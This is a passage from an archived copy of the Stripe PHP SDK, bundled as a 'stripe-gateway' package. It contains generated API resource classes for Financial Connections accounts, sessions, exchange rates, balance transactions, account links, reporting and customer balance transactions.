the institution. * @property string $institution_name The name of the institution that holds this account. * @property null|string $last4 The last 4 digits of the account number. If present, this will be 4 numeric characters. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string|\Stripe\FinancialConnections\AccountOwnership $ownership The most recent information about the account's owners. * @property null|\Stripe\StripeObject $ownership_refresh The state of the most recent attempt to refresh the account owners. * @property null|string[] $permissions The list of permissions granted by this account. * @property string $status The status of the link to the account. * @property string $subcategory <p>If <code>category</code> is <code>cash</code>, one of:</p><p>- <code>checking</code> - <code>savings</code> - <code>other</code></p><p>If <code>category</code> is <code>credit</code>, one of:</p><p>- <code>mortgage</code> - <code>line_of_credit</code> - <code>credit_card</code> - <code>other</code></p><p>If <code>category</code> is <code>investment</code> or <code>other</code>, this will be <code>other</code>.</p> * @property null|string[] $subscriptions The list of data refresh subscriptions requested on this account. * @property string[] $supported_payment_method_types The <a href="https://stripe.com/docs/api/payment_methods/object#payment_method_object-type">PaymentMethod type</a>(s) that can be created from this account. * @property null|\Stripe\StripeObject $transaction_refresh The state of the most recent attempt to refresh the account transactions. */ class Account extends \Stripe\ApiResource { const OBJECT_NAME = 'financial_connections.account'; const CATEGORY_CASH = 'cash'; const CATEGORY_CREDIT = 'credit'; const CATEGORY_INVESTMENT = 'investment'; const CATEGORY_OTHER = 'other'; const STATUS_ACTIVE = 'active'; const STATUS_DISCONNECTED = 'disconnected'; const STATUS_INACTIVE = 'inactive'; const SUBCATEGORY_CHECKING = 'checking'; const SUBCATEGORY_CREDIT_CARD = 'credit_card'; const SUBCATEGORY_LINE_OF_CREDIT = 'line_of_credit'; const SUBCATEGORY_MORTGAGE = 'mortgage'; const SUBCATEGORY_OTHER = 'other'; const SUBCATEGORY_SAVINGS = 'savings'; /** * Returns a list of Financial Connections <code>Account</code> objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FinancialConnections\Account> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an Financial Connections <code>Account</code>. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account the disconnected account */ public function disconnect($params = null, $opts = null) { $url = $this->instanceUrl() . '/disconnect'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FinancialConnections\AccountOwner> list of account owners */ public static function allOwners($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/owners'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account the refreshed account */ public function refreshAccount($params = null, $opts = null) { $url = $this->instanceUrl() . '/refresh'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account the subscribed account */ public function subscribe($params = null, $opts = null) { $url = $this->instanceUrl() . '/subscribe'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Account the unsubscribed account */ public function unsubscribe($params = null, $opts = null) { $url = $this->instanceUrl() . '/unsubscribe'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/FinancialConnections/AccountOwner.php��������������������������������������������0000644�����������������00000001526�14720677707�0017513 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\FinancialConnections; /** * Describes an owner of an account. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $email The email address of the owner. * @property string $name The full name of the owner. * @property string $ownership The ownership object that this owner belongs to. * @property null|string $phone The raw phone number of the owner. * @property null|string $raw_address The raw physical address of the owner. * @property null|int $refreshed_at The timestamp of the refresh that updated this owner. */ class AccountOwner extends \Stripe\ApiResource { const OBJECT_NAME = 'financial_connections.account_owner'; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/FinancialConnections/Session.php�������������������������������������������������0000644�����������������00000005616�14720677707�0016533 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\FinancialConnections; /** * A Financial Connections Session is the secure way to programmatically launch the client-side Stripe.js modal that lets your users link their accounts. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $account_holder The account holder for whom accounts are collected in this session. * @property \Stripe\Collection<\Stripe\FinancialConnections\Account> $accounts The accounts that were collected as part of this Session. * @property string $client_secret A value that will be passed to the client to launch the authentication flow. * @property null|\Stripe\StripeObject $filters * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string[] $permissions Permissions requested for accounts collected during this session. * @property null|string[] $prefetch Data features requested to be retrieved upon account creation. * @property null|string $return_url For webview integrations only. Upon completing OAuth login in the native browser, the user will be redirected to this URL to return to your app. */ class Session extends \Stripe\ApiResource { const OBJECT_NAME = 'financial_connections.session'; /** * To launch the Financial Connections authorization flow, create a * <code>Session</code>. The session’s <code>client_secret</code> can be used to * launch the flow using Stripe.js. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Session the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Retrieves the details of a Financial Connections <code>Session</code>. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Session */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/FinancialConnections/AccountOwnership.php����������������������������������������0000644�����������������00000001306�14720677707�0020373 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\FinancialConnections; /** * Describes a snapshot of the owners of an account at a particular point in time. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property \Stripe\Collection<\Stripe\FinancialConnections\AccountOwner> $owners A paginated list of owners for this account. */ class AccountOwnership extends \Stripe\ApiResource { const OBJECT_NAME = 'financial_connections.account_ownership'; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ExchangeRate.php�����������������������������������������������������������������0000644�����������������00000006642�14720677707�0013357 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * <code>ExchangeRate</code> objects allow you to determine the rates that Stripe is currently * using to convert from one currency to another. Since this number is variable * throughout the day, there are various reasons why you might want to know the current * rate (for example, to dynamically price an item for a user with a default * payment in a foreign currency). * * Please refer to our <a href="https://stripe.com/docs/fx-rates">Exchange Rates API</a> guide for more details. * * <em>[Note: this integration path is supported but no longer recommended]</em> Additionally, * you can guarantee that a charge is made with an exchange rate that you expect is * current. To do so, you must pass in the exchange_rate to charges endpoints. If the * value is no longer up to date, the charge won't go through. Please refer to our * <a href="https://stripe.com/docs/exchange-rates">Using with charges</a> guide for more details. * * ----- * * * * <em>This Exchange Rates API is a Beta Service and is subject to Stripe's terms of service. You may use the API solely for the purpose of transacting on Stripe. For example, the API may be queried in order to:</em> * * - <em>localize prices for processing payments on Stripe</em> * - <em>reconcile Stripe transactions</em> * - <em>determine how much money to send to a connected account</em> * - <em>determine app fees to charge a connected account</em> * * <em>Using this Exchange Rates API beta for any purpose other than to transact on Stripe is strictly prohibited and constitutes a violation of Stripe's terms of service.</em> * * @property string $id Unique identifier for the object. Represented as the three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a> in lowercase. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $rates Hash where the keys are supported currencies and the values are the exchange rate at which the base id currency converts to the key currency. */ class ExchangeRate extends ApiResource { const OBJECT_NAME = 'exchange_rate'; /** * Returns a list of objects that contain the rates at which foreign currencies are * converted to one another. Only shows the currencies for which Stripe supports. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ExchangeRate> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the exchange rates from the given currency to every supported * currency. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ExchangeRate */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ����������������������������������������������������������������������������������������������stripe-gateway/lib/BalanceTransaction.php�����������������������������������������������������������0000644�����������������00000021011�14720677707�0014537 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Balance transactions represent funds moving through your Stripe account. * Stripe creates them for every type of transaction that enters or leaves your Stripe account balance. * * Related guide: <a href="https://stripe.com/docs/reports/balance-transaction-types">Balance transaction types</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Gross amount of this transaction (in cents (or local equivalent)). A positive value represents funds charged to another party, and a negative value represents funds sent to another party. * @property int $available_on The date that the transaction's net funds become available in the Stripe balance. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|float $exchange_rate If applicable, this transaction uses an exchange rate. If money converts from currency A to currency B, then the <code>amount</code> in currency A, multipled by the <code>exchange_rate</code>, equals the <code>amount</code> in currency B. For example, if you charge a customer 10.00 EUR, the PaymentIntent's <code>amount</code> is <code>1000</code> and <code>currency</code> is <code>eur</code>. If this converts to 12.34 USD in your Stripe account, the BalanceTransaction's <code>amount</code> is <code>1234</code>, its <code>currency</code> is <code>usd</code>, and the <code>exchange_rate</code> is <code>1.234</code>. * @property int $fee Fees (in cents (or local equivalent)) paid for this transaction. Represented as a positive integer when assessed. * @property \Stripe\StripeObject[] $fee_details Detailed breakdown of fees (in cents (or local equivalent)) paid for this transaction. * @property int $net Net impact to a Stripe balance (in cents (or local equivalent)). A positive value represents incrementing a Stripe balance, and a negative value decrementing a Stripe balance. You can calculate the net impact of a transaction on a balance by <code>amount</code> - <code>fee</code> * @property string $reporting_category Learn more about how <a href="https://stripe.com/docs/reports/reporting-categories">reporting categories</a> can help you understand balance transactions from an accounting perspective. * @property null|string|\Stripe\ApplicationFee|\Stripe\ApplicationFeeRefund|\Stripe\Charge|\Stripe\ConnectCollectionTransfer|\Stripe\CustomerCashBalanceTransaction|\Stripe\Dispute|\Stripe\Issuing\Authorization|\Stripe\Issuing\Dispute|\Stripe\Issuing\Transaction|\Stripe\Payout|\Stripe\Refund|\Stripe\ReserveTransaction|\Stripe\TaxDeductedAtSource|\Stripe\Topup|\Stripe\Transfer|\Stripe\TransferReversal $source This transaction relates to the Stripe object. * @property string $status The transaction's net funds status in the Stripe balance, which are either <code>available</code> or <code>pending</code>. * @property string $type Transaction type: <code>adjustment</code>, <code>advance</code>, <code>advance_funding</code>, <code>anticipation_repayment</code>, <code>application_fee</code>, <code>application_fee_refund</code>, <code>charge</code>, <code>climate_order_purchase</code>, <code>climate_order_refund</code>, <code>connect_collection_transfer</code>, <code>contribution</code>, <code>issuing_authorization_hold</code>, <code>issuing_authorization_release</code>, <code>issuing_dispute</code>, <code>issuing_transaction</code>, <code>obligation_outbound</code>, <code>obligation_reversal_inbound</code>, <code>payment</code>, <code>payment_failure_refund</code>, <code>payment_network_reserve_hold</code>, <code>payment_network_reserve_release</code>, <code>payment_refund</code>, <code>payment_reversal</code>, <code>payment_unreconciled</code>, <code>payout</code>, <code>payout_cancel</code>, <code>payout_failure</code>, <code>refund</code>, <code>refund_failure</code>, <code>reserve_transaction</code>, <code>reserved_funds</code>, <code>stripe_fee</code>, <code>stripe_fx_fee</code>, <code>tax_fee</code>, <code>topup</code>, <code>topup_reversal</code>, <code>transfer</code>, <code>transfer_cancel</code>, <code>transfer_failure</code>, or <code>transfer_refund</code>. Learn more about <a href="https://stripe.com/docs/reports/balance-transaction-types">balance transaction types and what they represent</a>. To classify transactions for accounting purposes, consider <code>reporting_category</code> instead. */ class BalanceTransaction extends ApiResource { const OBJECT_NAME = 'balance_transaction'; const TYPE_ADJUSTMENT = 'adjustment'; const TYPE_ADVANCE = 'advance'; const TYPE_ADVANCE_FUNDING = 'advance_funding'; const TYPE_ANTICIPATION_REPAYMENT = 'anticipation_repayment'; const TYPE_APPLICATION_FEE = 'application_fee'; const TYPE_APPLICATION_FEE_REFUND = 'application_fee_refund'; const TYPE_CHARGE = 'charge'; const TYPE_CLIMATE_ORDER_PURCHASE = 'climate_order_purchase'; const TYPE_CLIMATE_ORDER_REFUND = 'climate_order_refund'; const TYPE_CONNECT_COLLECTION_TRANSFER = 'connect_collection_transfer'; const TYPE_CONTRIBUTION = 'contribution'; const TYPE_ISSUING_AUTHORIZATION_HOLD = 'issuing_authorization_hold'; const TYPE_ISSUING_AUTHORIZATION_RELEASE = 'issuing_authorization_release'; const TYPE_ISSUING_DISPUTE = 'issuing_dispute'; const TYPE_ISSUING_TRANSACTION = 'issuing_transaction'; const TYPE_OBLIGATION_OUTBOUND = 'obligation_outbound'; const TYPE_OBLIGATION_REVERSAL_INBOUND = 'obligation_reversal_inbound'; const TYPE_PAYMENT = 'payment'; const TYPE_PAYMENT_FAILURE_REFUND = 'payment_failure_refund'; const TYPE_PAYMENT_NETWORK_RESERVE_HOLD = 'payment_network_reserve_hold'; const TYPE_PAYMENT_NETWORK_RESERVE_RELEASE = 'payment_network_reserve_release'; const TYPE_PAYMENT_REFUND = 'payment_refund'; const TYPE_PAYMENT_REVERSAL = 'payment_reversal'; const TYPE_PAYMENT_UNRECONCILED = 'payment_unreconciled'; const TYPE_PAYOUT = 'payout'; const TYPE_PAYOUT_CANCEL = 'payout_cancel'; const TYPE_PAYOUT_FAILURE = 'payout_failure'; const TYPE_REFUND = 'refund'; const TYPE_REFUND_FAILURE = 'refund_failure'; const TYPE_RESERVED_FUNDS = 'reserved_funds'; const TYPE_RESERVE_TRANSACTION = 'reserve_transaction'; const TYPE_STRIPE_FEE = 'stripe_fee'; const TYPE_STRIPE_FX_FEE = 'stripe_fx_fee'; const TYPE_TAX_FEE = 'tax_fee'; const TYPE_TOPUP = 'topup'; const TYPE_TOPUP_REVERSAL = 'topup_reversal'; const TYPE_TRANSFER = 'transfer'; const TYPE_TRANSFER_CANCEL = 'transfer_cancel'; const TYPE_TRANSFER_FAILURE = 'transfer_failure'; const TYPE_TRANSFER_REFUND = 'transfer_refund'; /** * Returns a list of transactions that have contributed to the Stripe account * balance (e.g., charges, transfers, and so forth). The transactions are returned * in sorted order, with the most recent transactions appearing first. * * Note that this endpoint was previously called “Balance history” and used the * path <code>/v1/balance/history</code>. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\BalanceTransaction> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the balance transaction with the given ID. * * Note that this endpoint previously used the path * <code>/v1/balance/history/:id</code>. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BalanceTransaction */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/AccountLink.php������������������������������������������������������������������0000644�����������������00000003122�14720677707�0013221 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Account Links are the means by which a Connect platform grants a connected account permission to access * Stripe-hosted applications, such as Connect Onboarding. * * Related guide: <a href="https://stripe.com/docs/connect/custom/hosted-onboarding">Connect Onboarding</a> * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property int $expires_at The timestamp at which this account link will expire. * @property string $url The URL for the account link. */ class AccountLink extends ApiResource { const OBJECT_NAME = 'account_link'; /** * Creates an AccountLink object that includes a single-use Stripe URL that the * platform can redirect their user to in order to take them through the Connect * Onboarding flow. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\AccountLink the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Reporting/ReportType.php���������������������������������������������������������0000644�����������������00000006417�14720677707�0015107 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Reporting; /** * The Report Type resource corresponds to a particular type of report, such as * the "Activity summary" or "Itemized payouts" reports. These objects are * identified by an ID belonging to a set of enumerated values. See * <a href="https://stripe.com/docs/reporting/statements/api">API Access to Reports documentation</a> * for those Report Type IDs, along with required and optional parameters. * * Note that certain report types can only be run based on your live-mode data (not test-mode * data), and will error when queried without a <a href="https://stripe.com/docs/keys#test-live-modes">live-mode API key</a>. * * @property string $id The <a href="https://stripe.com/docs/reporting/statements/api#available-report-types">ID of the Report Type</a>, such as <code>balance.summary.1</code>. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $data_available_end Most recent time for which this Report Type is available. Measured in seconds since the Unix epoch. * @property int $data_available_start Earliest time for which this Report Type is available. Measured in seconds since the Unix epoch. * @property null|string[] $default_columns List of column names that are included by default when this Report Type gets run. (If the Report Type doesn't support the <code>columns</code> parameter, this will be null.) * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $name Human-readable name of the Report Type * @property int $updated When this Report Type was latest updated. Measured in seconds since the Unix epoch. * @property int $version Version of the Report Type. Different versions report with the same ID will have the same purpose, but may take different run parameters or have different result schemas. */ class ReportType extends \Stripe\ApiResource { const OBJECT_NAME = 'reporting.report_type'; /** * Returns a full list of Report Types. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Reporting\ReportType> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a Report Type. (Certain report types require a <a * href="https://stripe.com/docs/keys#test-live-modes">live-mode API key</a>.). * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Reporting\ReportType */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Reporting/ReportRun.php����������������������������������������������������������0000644�����������������00000010222�14720677707�0014717 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Reporting; /** * The Report Run object represents an instance of a report type generated with * specific run parameters. Once the object is created, Stripe begins processing the report. * When the report has finished running, it will give you a reference to a file * where you can retrieve your results. For an overview, see * <a href="https://stripe.com/docs/reporting/statements/api">API Access to Reports</a>. * * Note that certain report types can only be run based on your live-mode data (not test-mode * data), and will error when queried without a <a href="https://stripe.com/docs/keys#test-live-modes">live-mode API key</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $error If something should go wrong during the run, a message about the failure (populated when <code>status=failed</code>). * @property bool $livemode <code>true</code> if the report is run on live mode data and <code>false</code> if it is run on test mode data. * @property \Stripe\StripeObject $parameters * @property string $report_type The ID of the <a href="https://stripe.com/docs/reports/report-types">report type</a> to run, such as <code>"balance.summary.1"</code>. * @property null|\Stripe\File $result The file object representing the result of the report run (populated when <code>status=succeeded</code>). * @property string $status Status of this report run. This will be <code>pending</code> when the run is initially created. When the run finishes, this will be set to <code>succeeded</code> and the <code>result</code> field will be populated. Rarely, we may encounter an error, at which point this will be set to <code>failed</code> and the <code>error</code> field will be populated. * @property null|int $succeeded_at Timestamp at which this run successfully finished (populated when <code>status=succeeded</code>). Measured in seconds since the Unix epoch. */ class ReportRun extends \Stripe\ApiResource { const OBJECT_NAME = 'reporting.report_run'; /** * Creates a new object and begin running the report. (Certain report types require * a <a href="https://stripe.com/docs/keys#test-live-modes">live-mode API key</a>.). * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Reporting\ReportRun the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of Report Runs, with the most recent appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Reporting\ReportRun> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing Report Run. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Reporting\ReportRun */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/CustomerBalanceTransaction.php���������������������������������������������������0000644�����������������00000012402�14720677707�0016265 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Each customer has a <a href="https://stripe.com/docs/api/customers/object#customer_object-balance">Balance</a> value, * which denotes a debit or credit that's automatically applied to their next invoice upon finalization. * You may modify the value directly by using the <a href="https://stripe.com/docs/api/customers/update">update customer API</a>, * or by creating a Customer Balance Transaction, which increments or decrements the customer's <code>balance</code> by the specified <code>amount</code>. * * Related guide: <a href="https://stripe.com/docs/billing/customer/balance">Customer balance</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The amount of the transaction. A negative value is a credit for the customer's balance, and a positive value is a debit to the customer's <code>balance</code>. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string|\Stripe\CreditNote $credit_note The ID of the credit note (if any) related to the transaction. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string|\Stripe\Customer $customer The ID of the customer the transaction belongs to. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property int $ending_balance The customer's <code>balance</code> after the transaction was applied. A negative value decreases the amount due on the customer's next invoice. A positive value increases the amount due on the customer's next invoice. * @property null|string|\Stripe\Invoice $invoice The ID of the invoice (if any) related to the transaction. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $type Transaction type: <code>adjustment</code>, <code>applied_to_invoice</code>, <code>credit_note</code>, <code>initial</code>, <code>invoice_overpaid</code>, <code>invoice_too_large</code>, <code>invoice_too_small</code>, <code>unspent_receiver_credit</code>, or <code>unapplied_from_invoice</code>. See the <a href="https://stripe.com/docs/billing/customer/balance#types">Customer Balance page</a> to learn more about transaction types. */ class CustomerBalanceTransaction extends ApiResource { const OBJECT_NAME = 'customer_balance_transaction'; const TYPE_ADJUSTMENT = 'adjustment'; const TYPE_APPLIED_TO_INVOICE = 'applied_to_invoice'; const TYPE_CREDIT_NOTE = 'credit_note'; const TYPE_INITIAL = 'initial'; const TYPE_INVOICE_OVERPAID = 'invoice_overpaid'; const TYPE_INVOICE_TOO_LARGE = 'invoice_too_large'; const TYPE_INVOICE_TOO_SMALL = 'invoice_too_small'; const TYPE_UNSPENT_RECEIVER_CREDIT = 'unspent_receiver_credit'; const TYPE_ADJUSTEMENT = 'adjustment'; /** * @return string the API URL for this balance transaction */ public function instanceUrl() { $id = $this['id']; $customer = $this['customer']; if (!$id) { throw new Exception\UnexpectedValueException( "Could not determine which URL to request: class instance has invalid ID: {$id}", null ); } $id = Util\Util::utf8($id); $customer = Util\Util::utf8($customer); $base = Customer::classUrl(); $customerExtn = \urlencode($customer); $extn = \urlencode($id); return "{$base}/{$customerExtn}/balance_transactions/{$extn}"; } /** * @param array|string $_id * @param null|array|string $_opts * * @throws \Stripe\Exception\BadMethodCallException */ public static function retrieve($_id, $_opts = null) { $msg = 'Customer Balance Transactions cannot be retrieved without a ' . 'customer ID. Retrieve a Customer Balance Transaction using ' . "`Customer::retrieveBalanceTransaction('customer_id', " . "'balance_transaction_id')`."; throw new Exception\BadMethodCallException($msg); } /** * @param string $_id * @param null|array $_params * @param null|array|string $_options * * @throws \Stripe\Exception\BadMethodCallException */ public static function update($_id, $_params = null, $_options = null) { $msg = 'Customer Balance Transactions cannot be updated without a ' . 'customer ID. Update a Customer Balance Transaction using ' . "`Customer::updateBalanceTransaction('customer_id', " . "'balance_transaction_id', \$updateParams)`."; throw new Exception\BadMethodCallException($msg); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Person.php�����������������������������������������������������������������������0000644�����������������00000015751�14720677707�0012270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * This is an object representing a person associated with a Stripe account. * * A platform cannot access a person for an account where <a href="/api/accounts/object#account_object-controller-requirement_collection">account.controller.requirement_collection</a> is <code>stripe</code>, which includes Standard and Express accounts, after creating an Account Link or Account Session to start Connect onboarding. * * See the <a href="/connect/standard-accounts">Standard onboarding</a> or <a href="/connect/express-accounts">Express onboarding</a> documentation for information about prefilling information and account onboarding steps. Learn more about <a href="/connect/handling-api-verification#person-information">handling identity verification with the API</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $account The account the person is associated with. * @property null|\Stripe\StripeObject $additional_tos_acceptances * @property null|\Stripe\StripeObject $address * @property null|\Stripe\StripeObject $address_kana The Kana variation of the person's address (Japan only). * @property null|\Stripe\StripeObject 